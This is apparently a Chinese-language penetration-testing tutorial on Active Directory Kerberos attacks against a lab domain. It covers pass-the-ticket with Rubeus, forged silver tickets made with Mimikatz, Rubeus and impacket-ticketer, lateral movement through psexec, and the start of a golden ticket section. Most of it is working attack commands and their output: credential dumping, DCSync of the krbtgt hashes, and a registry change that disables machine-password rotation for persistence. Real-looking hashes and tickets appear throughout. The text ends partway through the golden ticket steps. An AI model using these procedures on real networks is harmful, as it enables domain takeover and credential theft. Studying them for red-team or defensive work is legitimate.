    UserRealm                :  RAINGRAY.COM
    StartTime                :  2025/2/27 10:17:58
    EndTime                  :  2025/2/27 20:17:58
    RenewTill                :  2025/3/6 10:17:58
    Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType                  :  aes256_cts_hmac_sha1
    Base64(key)              :  iGEWf46GNIKwNOl5OfY2pDOiw4OKFGHgHK6YubLV5u8=
    Base64EncodedTicket   :

      doIFKDCCBSSgAwIBBaEDAgEWooIELjCCBCphggQmMIIEIqADAgEFoQ4bDFJBSU5HUkFZLkNPTaIhMB+gAwIBAqEYMBYbBmtyYnRndBsMUkFJTkdSQVkuQ09No4ID5jCCA+KgAwIBEqEDAgECooID1ASCA9DEQwRixWrZr511WJgbwT6Zm9NbRqOqURlQjsuoIpwexVOkaPzo7TehxQGe4Xw2FPdMbcBdzsHx6ZHvJtSg6kliyO9e9pPQ9WSQjNS7ZHltmIHCDaVY7dIO3sMREN1yqkKyVCLOTk7A+b2xzJHTJGe0hhKWqCQluKspxtvb5qdec81u3XGgxbbsJlsH/+1jaCHSl8BxdbTFRFj7IuVFZxNHmhNpzt2wmkX2E6YbQDm82YepLkTteQvouLyk7T+S8bu4gP+3j3STMrvNchfeoH6iOoFGPC1ZqMcIzh+sW11bsN+IHRWsHpgS+F1jgycv/AgQlqylK+Y5yarwXnKnYZtk76qGSp9wmGmKNptUcWBS3prt/FTSdnsNLVyS8aQrlheRJDvd3oqrzmhcD8UUkRFKN0si6QeRsJe+o+CYpE5h4WQHiISYQ9auHJjkAw8tObuKs7nwNi43HYIDXrassBVr9tkx9XHfQtlPnVLQc4MJcNr8/RkfulKpR8/HCjixkUJ44TFAyfxuEj13DA9ykLfkPoE8WI9cV4tHBnR8rRswt6WtWxP95c/+7OqSRfqmidYrcL2Hc4Y8y5g8lMa6Kf69QbfXJlcwG2OPTYC0oSdtivnGzDZZxdvjjUTH3U4IXlpD3MelTKalyqPGtpMtCaP6nVaYiHdS45bCkQsI2bohFy4KUNbJ9kv81AtYO1hEfNGEAsLLcMO58foFf9UFDAcg3WoOofc5MfJBvUEiUcj6hDP8x84jgqwn3y4ZoO/e9/utKSjg29/VF9UofU5/N86smmd4pkH3yifRyY8ICww8jbaZN8mglkpjSFgKU4xgiNUehYz2MM79dNH+6DCa0ocO/wSZ1dKt8V1WVnMm91bcT2tCSDLFkmBhQkA3Oo0XSdp2F4/nNis5DiRnwMwd0WkvWN7TzrmSxEwpmiWmBJzh5KrMzanWkNUFYywSJLFQ2p8WKDWUOrC/Qcg6Vs9QE/lqw/3aML/mciYWPmGx4W5zSg2xN/GoRIUYyGocigcDzX7mltXJoBSneOM/rtPzYpTime2YQXDXAeGKFGMZGc9HeBehpcPNX3M6f6r3kwcgO3cHiSAumrGWO5ugDu2fBTOin9d1tv/tKqBDa7xhBRkbUvLhGOZTDwmk0K0DGZhdyTlwu/zZRO992/WOpObNFXknZHc805dKGMkmRrzxa74mUXiX+8E9S3N9dYdHf0XKVaNuLHFgq1B3+TXexKF+7EnFsRRF/6JpPl/fUFTjwt2kEdtwO98N2kfE6dRvL81dpaK7eks+9iwCNmnlrCBEum/Ko4HlMIHioAMCAQCigdoEgdd9gdQwgdGggc4wgcswgcigKzApoAMCARKhIgQgiGEWf46GNIKwNOl5OfY2pDOiw4OKFGHgHK6YubLV5u+hDhsMUkFJTkdSQVkuQ09NohQwEqADAgEBoQswCRsHemhhbmdxaaMHAwUAQOEAAKURGA8yMDI1MDIyNzAyMTc1OFqmERgPMjAyNTAyMjcxMjE3NThapxEYDzIwMjUwMzA2MDIxNzU4WqgOGwxSQUlOR1JBWS5DT02pITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDFJBSU5HUkFZLkNPTQ==

......

Rubeus导出的 Base64 票据也可以解码写入后缀为 kirbi 的文件中,交给其他工具导入。

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))

默认没有票据无法访问 PC-02 的 C Shell。

C:\Users\wuhui>klist

当前登录 ID 是 0:0x632d3

缓存的票证: (0)

C:\Users\wuhui>cd Desktop

C:\Users\wuhui\Desktop>dir \\pc-02\c$
拒绝访问。

需要导入票据才行,导入比较简单。

Rubeus.exe ptt /ticket:xxx.kirbi

Rubeus.exe ptt /ticket:<Base64 Encode Ticket>

导入后在访问的确成功浏览 PC-02 的 C Shell,后续就可以用 PsExec 或者其他横向手法拿到 Shell 权限。

C:\Users\wuhui\Desktop>Rubeus.exe ptt /ticket:doIFKDCCBSSgAwIBBaEDAgEWooIELjCCBCphggQmMIIEIqADAgEFoQ4bDFJBSU5HUkFZLkNPTaIhMB+gAwIBAqEYMBYbBmtyYnRndBsMUkFJTkdSQVkuQ09No4ID5jCCA+KgAwIBEqEDAgECooID1ASCA9DEQwRixWrZr511WJgbwT6Zm9NbRqOqURlQjsuoIpwexVOkaPzo7TehxQGe4Xw2FPdMbcBdzsHx6ZHvJtSg6kliyO9e9pPQ9WSQjNS7ZHltmIHCDaVY7dIO3sMREN1yqkKyVCLOTk7A+b2xzJHTJGe0hhKWqCQluKspxtvb5qdec81u3XGgxbbsJlsH/+1jaCHSl8BxdbTFRFj7IuVFZxNHmhNpzt2wmkX2E6YbQDm82YepLkTteQvouLyk7T+S8bu4gP+3j3STMrvNchfeoH6iOoFGPC1ZqMcIzh+sW11bsN+IHRWsHpgS+F1jgycv/AgQlqylK+Y5yarwXnKnYZtk76qGSp9wmGmKNptUcWBS3prt/FTSdnsNLVyS8aQrlheRJDvd3oqrzmhcD8UUkRFKN0si6QeRsJe+o+CYpE5h4WQHiISYQ9auHJjkAw8tObuKs7nwNi43HYIDXrassBVr9tkx9XHfQtlPnVLQc4MJcNr8/RkfulKpR8/HCjixkUJ44TFAyfxuEj13DA9ykLfkPoE8WI9cV4tHBnR8rRswt6WtWxP95c/+7OqSRfqmidYrcL2Hc4Y8y5g8lMa6Kf69QbfXJlcwG2OPTYC0oSdtivnGzDZZxdvjjUTH3U4IXlpD3MelTKalyqPGtpMtCaP6nVaYiHdS45bCkQsI2bohFy4KUNbJ9kv81AtYO1hEfNGEAsLLcMO58foFf9UFDAcg3WoOofc5MfJBvUEiUcj6hDP8x84jgqwn3y4ZoO/e9/utKSjg29/VF9UofU5/N86smmd4pkH3yifRyY8ICww8jbaZN8mglkpjSFgKU4xgiNUehYz2MM79dNH+6DCa0ocO/wSZ1dKt8V1WVnMm91bcT2tCSDLFkmBhQkA3Oo0XSdp2F4/nNis5DiRnwMwd0WkvWN7TzrmSxEwpmiWmBJzh5KrMzanWkNUFYywSJLFQ2p8WKDWUOrC/Qcg6Vs9QE/lqw/3aML/mciYWPmGx4W5zSg2xN/GoRIUYyGocigcDzX7mltXJoBSneOM/rtPzYpTime2YQXDXAeGKFGMZGc9HeBehpcPNX3M6f6r3kwcgO3cHiSAumrGWO5ugDu2fBTOin9d1tv/tKqBDa7xhBRkbUvLhGOZTDwmk0K0DGZhdyTlwu/zZRO992/WOpObNFXknZHc805dKGMkmRrzxa74mUXiX+8E9S3N9dYdHf0XKVaNuLHFgq1B3+TXexKF+7EnFsRRF/6JpPl/fUFTjwt2kEdtwO98N2kfE6dRvL81dpaK7eks+9iwCNmnlrCBEum/Ko4HlMIHioAMCAQCigdoEgdd9gdQwgdGggc4wgcswgcigKzApoAMCARKhIgQgiGEWf46GNIKwNOl5OfY2pDOiw4OKFGHgHK6YubLV5u+hDhsMUkFJTkdSQVkuQ09NohQwEqADAgEBoQswCRsHemhhbmdxaaMHAwUAQOEAAKURGA8yMDI1MDIyNzAyMTc1OFqmERgPMjAyNTAyMjcxMjE3NThapxEYDzIwMjUwMzA2MDIxNzU4WqgOGwxSQUlOR1JBWS5DT02pITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDFJBSU5HUkFZLkNPTQ==

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3


[*] Action: Import Ticket
[+] Ticket successfully imported!

C:\Users\wuhui\Desktop>klist

当前登录 ID 是 0:0x632d3

缓存的票证: (1)

#0>     客户端: zhangqi @ RAINGRAY.COM
        服务器: krbtgt/RAINGRAY.COM @ RAINGRAY.COM
        Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
        票证标志 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        开始时间: 2/27/2025 10:17:58 (本地)
        结束时间:   2/27/2025 20:17:58 (本地)
        续订时间: 3/6/2025 10:17:58 (本地)
        会话密钥类型: AES-256-CTS-HMAC-SHA1-96
        缓存标志: 0x1 -> PRIMARY
        调用的 KDC:

C:\Users\wuhui\Desktop>dir \\pc-02\c$
 驱动器 \\pc-02\c$ 中的卷没有标签。
 卷的序列号是 12C8-9D4E

 \\pc-02\c$ 的目录

2019/12/07  17:14    <DIR>          PerfLogs
2023/12/02  19:53    <DIR>          Program Files
2023/08/31  23:09    <DIR>          Program Files (x86)
2023/11/29  14:37    <DIR>          Users
2025/01/18  23:06    <DIR>          Windows
               0 个文件              0 字节
               5 个目录 42,813,202,432 可用字节

访问完成 PC-02 的 C Shell 后后自动增加了 cifs/pc-02@RAINGRAY.COM 的 ST。

C:\Users\wuhui\Desktop>klist

当前登录 ID 是 0:0x632d3

缓存的票证: (2)

#0>     客户端: zhangqi @ RAINGRAY.COM
        服务器: krbtgt/RAINGRAY.COM @ RAINGRAY.COM
        Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
        票证标志 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        开始时间: 2/27/2025 10:17:58 (本地)
        结束时间:   2/27/2025 20:17:58 (本地)
        续订时间: 3/6/2025 10:17:58 (本地)
        会话密钥类型: AES-256-CTS-HMAC-SHA1-96
        缓存标志: 0x1 -> PRIMARY
        调用的 KDC:

#1>     客户端: zhangqi @ RAINGRAY.COM
        服务器: cifs/pc-02 @ RAINGRAY.COM
        Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
        票证标志 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        开始时间: 2/27/2025 11:24:45 (本地)
        结束时间:   2/27/2025 20:17:58 (本地)
        续订时间: 3/6/2025 10:17:58 (本地)
        会话密钥类型: AES-256-CTS-HMAC-SHA1-96
        缓存标志: 0
        调用的 KDC: DC-BEIJING-01.raingray.com

在实际利用中我怎么知道这个 TGT 票据能够访问哪些服务?可以看看这个域用户的权限,比如那个组的,对应 DACL 权限是什么。在本小节去访问目标 C Shell 的原因是,域用户被加入到本地 Administraots 组中,所以这样横向可以拿到机器管理员权限。

Silver Ticket

Silver Ticket 国内喜欢叫白银票据或者银票。

其原理是 AS-REP 返回的 ST 是用设置了 SPN 的服务账户 NT Hash 加密的,因此只需要有这个 NT Hash,我们就可以对任意域账户颁发 ST,访问指定服务。

伪造的 ST 难道就真的能访问到服务吗?按照正常的 Kerberos 认证流程来看在 AS-REP 阶段会将 ST 中的 PAC 发送到 KDC 验证权限,我们没有 krbtgt 密码没法伪造 PAC,这铁定访问失败啊。但网上说的大部分应用不会去验证 PAC,因此伪造的 ST 中可以按照 PAC 结构随便弄个假的数据占位最后加密就可以。

这种伪造 ST 的方法,只有 AP-REQ 和 AP-REP 交互,没有跟域控通信,因此日志只在域服务上存在,比较隐蔽。但缺点是只能作为中短期持久化,因为服务账户密码有被修改的可能性(机器账户是 30 天自动轮换密码),一旦更改持久化就不能伪造 ST。

假设当前我已经获取了域内某台机器的权限,想做权限维持,就以 CIFS 服务类型为例获取目标机器权限,比如任务计划、DCSYNC 更多利用手法示例见《How Attackers Use Kerberos Silver Tickets to Exploit Systems》这篇文章。下面是演示 Mimikatz、Impacket-ticketer 制作 ST 的步骤。

1.获取服务账户密码凭证

通过 AS-REP roasting 或者 Kerberoasting 爆破出 SPN 账户密码凭证,或者已经拿下这台机器管理员权限也可以 Mimikatz 导出。

mimikatz "privilege::debug" "sekurlsa::logonPasswords" exit

这里导出机器账户 NT Hash。

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : PC-02$
Domain            : RAINGRAY
Logon Server      : (null)
Logon Time        : 2025/3/27 14:03:59
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : PC-02$
         * Domain   : RAINGRAY
         * NTLM     : 17f7eb83b047c1315a8e368dc1466a02

为了长期做维持,禁用计算机账户默认 30 天修改密码规则。

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters /v DisablePasswordChange /d 1 /t REG_DWORD /f

2.获取服务 SPN 信息

PS C:\Users\zhangqi\Desktop\mimikatz_trunk\x64> hostname
PC-02
PS C:\Users\zhangqi\Desktop\mimikatz_trunk\x64> setspn -Q */PC-02
正在检查域 DC=raingray,DC=com
CN=PC-02,CN=Computers,DC=raingray,DC=com
        TERMSRV/PC-02
        TERMSRV/PC-02.raingray.com
        RestrictedKrbHost/PC-02
        HOST/PC-02
        RestrictedKrbHost/PC-02.raingray.com
        HOST/PC-02.raingray.com

发现存在 SPN!

2.获取域 SID

查询当前域用户 SID,把 SID 最后的 RID 去掉,具体 Domain ID 是 247606177-2237963610-2667746150,拼接上前面的信息整体 SID 为 S-1-5-21-247606177-2237963610-2667746150

PS C:\mimikatz_trunk\x64> whoami /user

用户信息
----------------

用户名           SID
================ =============================================
raingray\zhangqi S-1-5-21-247606177-2237963610-2667746150-1107

注册表也可以查。

PS C:\Users\zhangqi\Desktop\mimikatz_trunk\x64> reg query hkey_users

HKEY_USERS\.DEFAULT
HKEY_USERS\S-1-5-19
HKEY_USERS\S-1-5-20
HKEY_USERS\S-1-5-21-247606177-2237963610-2667746150-1107
HKEY_USERS\S-1-5-21-247606177-2237963610-2667746150-1107_Classes

3.获取域 FQDN

PS C:\mimikatz_trunk\x64> ipconfig

Windows IP 配置


以太网适配器 Ethernet0:

   连接特定的 DNS 后缀 . . . . . . . : raingray.com
   ......

4.制作票据

制作票据不需要管理员权限,这里用 Mimikatz、Rubeus、Impacket 三款工具为例,做演示。

首先是 Mimikatz。

  • /domain,域名 FQDN
  • /sid,PAC 中的域 SID
  • /user,PAC 中要伪装的用户,可以写任意用户名,应用可能不会验证 PAC,因此也不会检查这个用户名是不是存在,但尽量还是模仿一个现有的用户,做好隐蔽操作。更新 NoPAC 补丁 KB5008380 后,没法为不存在的用户生成 ST,必须要求一个真实存在用户名,因为会验证 PAC 权限,太详细的信息还没了解清楚,后续遇到再补充吧。
    /id,用来设置 PAC 中要伪装的用户 RID,选项默认值是 500
  • /groups,用来设置 PAC 中要伪装的用户所属用户组的 ID,选项默认值是 513 512 520 518 519
  • /target,SPN 中的 Host 和 Port
  • /service,SPN 服务类型
  • /rc4,用 NTLM/RC4 密码哈希
    /aes256,用 AES256 Key 更隐蔽,任何工具都是这样
  • /ptt,生成完票据直接导入当前会话。也可以用 /ticket 替换掉 /ptt,这个选项是将生成的票据保存到文件,这样就可以我们离线生成,后续再到目标上用 /ptt 导入会话。

可以看到按照我们提供的信息生成完并导入成功。

PS C:\Users\wuhui\Desktop\mimikatz_trunk\x64> .\mimikatz "kerberos::golden /user:administrator /id:500 /domain:raingray.com /sid:S-1-5-21-247606177-2237963610-2667746150 /target:PC-02.raingray.com /rc4:17f7eb83b047c1315a8e368dc1466a02 /service:cifs /ptt" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # kerberos::golden /user:administrator /id:500 /domain:raingray.com /sid:S-1-5-21-247606177-2237963610-2667746150 /target:PC-02.raingray.com /rc4:17f7eb83b047c1315a8e368dc1466a02 /service:cifs /ptt
User      : administrator
Domain    : raingray.com (RAINGRAY)
SID       : S-1-5-21-247606177-2237963610-2667746150
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 17f7eb83b047c1315a8e368dc1466a02 - rc4_hmac_nt
Service   : cifs
Target    : PC-02.raingray.com
Lifetime  : 2025/4/15 16:05:41 ; 2035/4/13 16:05:41 ; 2035/4/13 16:05:41
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'administrator @ raingray.com' successfully submitted for current session

mimikatz(commandline) # exit
Bye!
PS C:\Users\wuhui\Desktop\mimikatz_trunk\x64> klist

当前登录 ID 是 0:0x315026

缓存的票证: (1)

#0>     客户端: administrator @ raingray.com
        服务器: cifs/PC-02.raingray.com @ raingray.com
        Kerberos 票证加密类型: RSADSI RC4-HMAC(NT)
        票证标志 0x40a00000 -> forwardable renewable pre_authent
        开始时间: 4/15/2025 16:05:41 (本地)
        结束时间:   4/13/2035 16:05:41 (本地)
        续订时间: 4/13/2035 16:05:41 (本地)
        会话密钥类型: RSADSI RC4-HMAC(NT)
        缓存标志: 0
        调用的 KDC:

导入票据后在域内只能通过机器名访问目录 IPC,不能使用 IP 访问。通过机器名访问是走的 Kerberos 认证,用 IP 访问则是 NTLM 认证,用 IP 访问使用 NTLM 认证,由于没有对应凭证所以访问失败。

PS C:\Users\wuhui\Desktop\mimikatz_trunk\x64> dir \\PC-02.raingray.com\C$


    目录: \\PC-02.raingray.com\C$


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         2025/3/28     13:58                mimikatz_trunk
d-----         2019/12/7     17:14                PerfLogs
d-r---         2023/12/2     19:53                Program Files
d-r---         2023/8/31     23:09                Program Files (x86)
d-r---         2025/3/28     13:55                Users
d-----         2025/1/18     23:06                Windows


PS C:\Users\wuhui\Desktop\mimikatz_trunk\x64> nslookup PC-02.raingray.com
DNS request timed out.
    timeout was 2 seconds.
服务器:  UnKnown
Address:  192.168.37.1

名称:    PC-02.raingray.com
Address:  192.168.37.3

PS C:\Users\wuhui\Desktop\mimikatz_trunk\x64> dir \\192.168.37.3\C$
dir : 拒绝访问。
所在位置 行:1 字符: 1
+ dir \\192.168.37.3\C$
+ ~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\192.168.37.3\C$:String) [Get-ChildItem], UnauthorizedAccessExceptio
   n
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

dir : 找不到路径“\\192.168.37.3\C$”,因为该路径不存在。
所在位置 行:1 字符: 1
+ dir \\192.168.37.3\C$
+ ~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (\\192.168.37.3\C$:String) [Get-ChildItem], ItemNotFoundException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand

Rubeus 制作 Silver Ticket 并导入当前会话。

C:\Users\wuhui\Desktop>rubeus.exe silver /service:cifs/PC-02.raingray.com /rc4:17f7eb83b047c1315a8e368dc1466a02 /user:administrator /domain:raingray.com /sid:S-1-5-21-247606177-2237963610-2667746150 /nowrap /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Build TGS

[*] Building PAC

[*] Domain         : RAINGRAY.COM (RAINGRAY)
[*] SID            : S-1-5-21-247606177-2237963610-2667746150
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ServiceKey     : 17F7EB83B047C1315A8E368DC1466A02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 17F7EB83B047C1315A8E368DC1466A02
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_MD5
[*] Service        : cifs
[*] Target         : PC-02.raingray.com

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'administrator' to 'cifs/PC-02.raingray.com'

[*] AuthTime       : 2025/4/15 16:53:18
[*] StartTime      : 2025/4/15 16:53:18
[*] EndTime        : 2025/4/16 2:53:18
[*] RenewTill      : 2025/4/22 16:53:18

[*] base64(ticket.kirbi):

      doIFizCCBYegAwIBBaEDAgEWooIEhDCCBIBhggR8MIIEeKADAgEFoQ4bDFJBSU5HUkFZLkNPTaIlMCOgAwIBAqEcMBobBGNpZnMbElBDLTAyLnJhaW5ncmF5LmNvbaOCBDgwggQ0oAMCARehAwIBA6KCBCYEggQiBv+vYEyqLycRbMIumANhT6d5j0hGTjxq3oy2a5Jja6nZIzNfnMpabeXfQ8fRikCDAx0gGBPJATTLNfxZOQ/HxxzUi0pnvAnWc6SyGDMhhIzUf7kIZ7gcQQOzlxhlOiZqqsmmJOvFbVYRftEq3IgUtCRTl9ur9Yq3Dz4heQBtt/oy/7NaadZLymIVFipm04SOJi1UzwcPEyY/xLqYQMsCaADNTDCGORO84RMep2Ze5pcjyoVN3xz9TK6PzAYVsg2yNle4lPklV1D+hYEprWUZz8H3480JMi56vRUKQrdxj+EQRyLrzM4IoLbZFbpkjWdAeGB9oZShWqf2cCXvJnQpwSL1nWMzRqQyhBrVz0LqODPYe0aXvCbvwQH0sYG6oxO37NMeWKkP926y/cT+UXVvCFbl5SteQEf1rvjIMlISZ/pbdiXyRZdryBA07KZZrU5RmMBA8HZ488Uw0W4bIQkc0kEEEqqmSJQuKETnMDlDqKKGAms2U0r4whDob4lrZxv78aHXYNJmj9zH4C1D5lZGVJ9LEuKcMW7cZo9GH9XfflHtqlZFQhY6SOr/y+5hYi973nMvsh/SPtscs+Bd3ih9wD0TOru6ji9G276nE5jIFdKhq5/J8TV4GKBLuGXNCpJT+EhplalYCaa9doi5+iAcMhy7Agw3jWnjI+QaxlaTXPMPFH7QKS5On3nvRrU2GSS3eBsAgSGWJkDKV4VSbwqa5kda1SEvRgWdxlDxNuzbXXoGjWinonJUVMPd0/UF+Iqu52a8spO9XjR1F8i01HmEVIkMcxX+1dSgMiVEMrzW4Czyztoui6t9642dSTG4kWfY8QLuhYPjQA5zfuwPs7HdMCZ/hJVIZ2JtHx7r9iPLblw6UDy7eg/C9YTh+1/yBPpzO4F47D9d49JXDCr9076iUSUCBPwYJGV1TR3GOPq8z/0l3XfMNhkvWf9+v8PAk6laqx8AMFp2iNehIsyY4mwqaJcYzd7CQtorQloZyoWTYtGZUN0+yOyCqpD96dGSFsN6uLcDcvtLB2aOFPwmQK6kCqqVllRuyG8l2qURNcBSNwYTDhVz0/vObtfYp5eEMxTsBwvovA9y3BvvTCBAlekRI1JqGFuz7RiuXlQojuJt+QguR4RgwcNa8OvxdCUoP07DKmBk0YH9HKXJe1FYhxKTiykXl8Z+EgwGT6xrWBGvesD/Ym92P1HByZxbZDHODXzp/fHHBYpmLEZ8FKA9kiPx7gGMSqX1hFfCm0cWmYlEaqDDyPrIDh36x7klAbed05cvy/njl7Qzxh3actt2NL7Xhja68lgGVyrgUCcrA9xFqDzxB172KZBSH7c62N/lUJIV1ExDyXfgp4HcjxCGH3DotC0vBG2XXsV4Gk+CQiVsEPnMmIeGgJCV+/FUEulre09KsYejgfIwge+gAwIBAKKB5wSB5H2B4TCB3qCB2zCB2DCB1aAbMBmgAwIBF6ESBBCJiYha/o7XfTVrXFXyAzTuoQ4bDFJBSU5HUkFZLkNPTaIaMBigAwIBAaERMA8bDWFkbWluaXN0cmF0b3KjBwMFAECgAACkERgPMjAyNTA0MTUwODUzMThapREYDzIwMjUwNDE1MDg1MzE4WqYRGA8yMDI1MDQxNTE4NTMxOFqnERgPMjAyNTA0MjIwODUzMThaqA4bDFJBSU5HUkFZLkNPTaklMCOgAwIBAqEcMBobBGNpZnMbElBDLTAyLnJhaW5ncmF5LmNvbQ==


[+] Ticket successfully imported!

C:\Users\wuhui\Desktop>dir \\pc-02.raingray.com\c$
 驱动器 \\pc-02.raingray.com\c$ 中的卷没有标签。
 卷的序列号是 12C8-9D4E

 \\pc-02.raingray.com\c$ 的目录

2025/03/28  13:58    <DIR>          mimikatz_trunk
2019/12/07  17:14    <DIR>          PerfLogs
2023/12/02  19:53    <DIR>          Program Files
2023/08/31  23:09    <DIR>          Program Files (x86)
2025/03/28  13:55    <DIR>          Users
2025/01/18  23:06    <DIR>          Windows
               0 个文件              0 字节
               6 个目录 42,771,820,544 可用字节

Kali 下用 impacket 来完成票据制作,非常方便。

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-ticketer -nthash 17f7eb83b047c1315a8e368dc1466a02 -domain-sid S-1-5-21-247606177-2237963610-2667746150 -domain raingray.com -spn cifs/PC-02.raingray.com -dc-ip 192.168.37.1 administrators1111
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for raingray.com/administrators1111
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in administrators1111.ccache

导入票据。

export KRB5CCNAME=administrators1111.ccache

做好映射后直接横向。

┌──(kali㉿kali)-[~/Desktop]
└─$ tail -n 1  /etc/hosts
192.168.37.3 PC-02.raingray.com

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-psexec -k -no-pass PC-02.raingray.com -codec gbk
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on PC-02.raingray.com.....
[*] Found writable share ADMIN$
[*] Uploading file eNqQLPJi.exe
[*] Opening SVCManager on PC-02.raingray.com.....
[*] Creating service ZYSH on PC-02.raingray.com.....
[*] Starting service ZYSH.....
[!] Press help for extra shell commands
Microsoft Windows [版本 10.0.19045.3448]
(c) Microsoft Corporation。保留所有权利。

C:\Windows\system32> ipconfig
 
Windows IP 配置


以太网适配器 Ethernet0:

   连接特定的 DNS 后缀 . . . . . . . : raingray.com
   本地链接 IPv6 地址. . . . . . . . : fe80::73ab:d035:7fd3:9b2f%2
   IPv4 地址 . . . . . . . . . . . . : 192.168.37.3
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.37.254

以太网适配器 蓝牙网络连接:

   媒体状态  . . . . . . . . . . . . : 媒体已断开连接
   连接特定的 DNS 后缀 . . . . . . . :

Golden Ticket

Kerberos 在 AS-REP 阶段使用 krbtgt 账户对 TGT 加密返回,Kerberos 的 TGT 为什么要用 krbtgt 账户 NT Hash 加密?其实是为了防止篡改导致权限提升,因为我们拿不到这个密码,所以没法按照 TGT 的结构自己创建出个 TGT 再加密。

当我们拿下域控后从 ntds.dit 中导出了 krbtgt 的 hash,那么就可以按照 TGT 结构自己伪造出任意域内用户的 TGT,后续再拿着 TGT 访问对应服务自动申请 ST,在域内畅通无阻。这种手法就叫黄金票据,可用于长期权限维持,

1.导出服务账户 krbtgt 密码凭证

通过 DCSync 或者拿到域控权限后 Mimikatz 导。下面就假设通过 DCSync 拿到了 krbtgt 凭证。

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-secretsdump svc-joindomain@192.168.37.1 -just-dc-user krbtgt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
 
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a745d3348cdce010cc3e2ca0b1fbb79f:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:0649170e427cb847522fbe0ea8780e15f8c67fa94d862f7fbed262f1d65a5ef7
krbtgt:aes128-cts-hmac-sha1-96:db9ae467c7901c53bccadc6a8d96cb8f
krbtgt:des-cbc-md5:f8202cbcc79ea4bc
[*] Cleaning up...

2.获取域 SID 和要伪造的用户 RID

有了域用户权限,通过 whoami /user 查看,最终得到 S-1-5-21-247606177-2237963610-2667746150

PS C:\mimikatz_trunk\x64> whoami /user
 
用户信息
----------------
 
用户名           SID
================ =============================================
raingray\zhangqi S-1-5-21-247606177-2237963610-2667746150-1107

指定用户 SID 可以用 impacket-lookupsid 查询,默认情况下会通过 SMB 来查,默认查询 的 RID 不超过 4000,如果是个大域可以提高 ID 值。最终得到想要伪造的用户 svc-joindomain 的 RID 1106。

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-lookupsid raingray.com/svc-joindomain@192.168.37.1
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Brute forcing SIDs at 192.168.37.1
[*] StringBinding ncacn_np:192.168.37.1[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-247606177-2237963610-2667746150
498: RAINGRAY\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: RAINGRAY\Administrator (SidTypeUser)
501: RAINGRAY\Guest (SidTypeUser)
502: RAINGRAY\krbtgt (SidTypeUser)
512: RAINGRAY\Domain Admins (SidTypeGroup)
513: RAINGRAY\Domain Users (SidTypeGroup)
514: RAINGRAY\Domain Guests (SidTypeGroup)
515: RAINGRAY\Domain Computers (SidTypeGroup)
516: RAINGRAY\Domain Controllers (SidTypeGroup)
517: RAINGRAY\Cert Publishers (SidTypeAlias)
518: RAINGRAY\Schema Admins (SidTypeGroup)
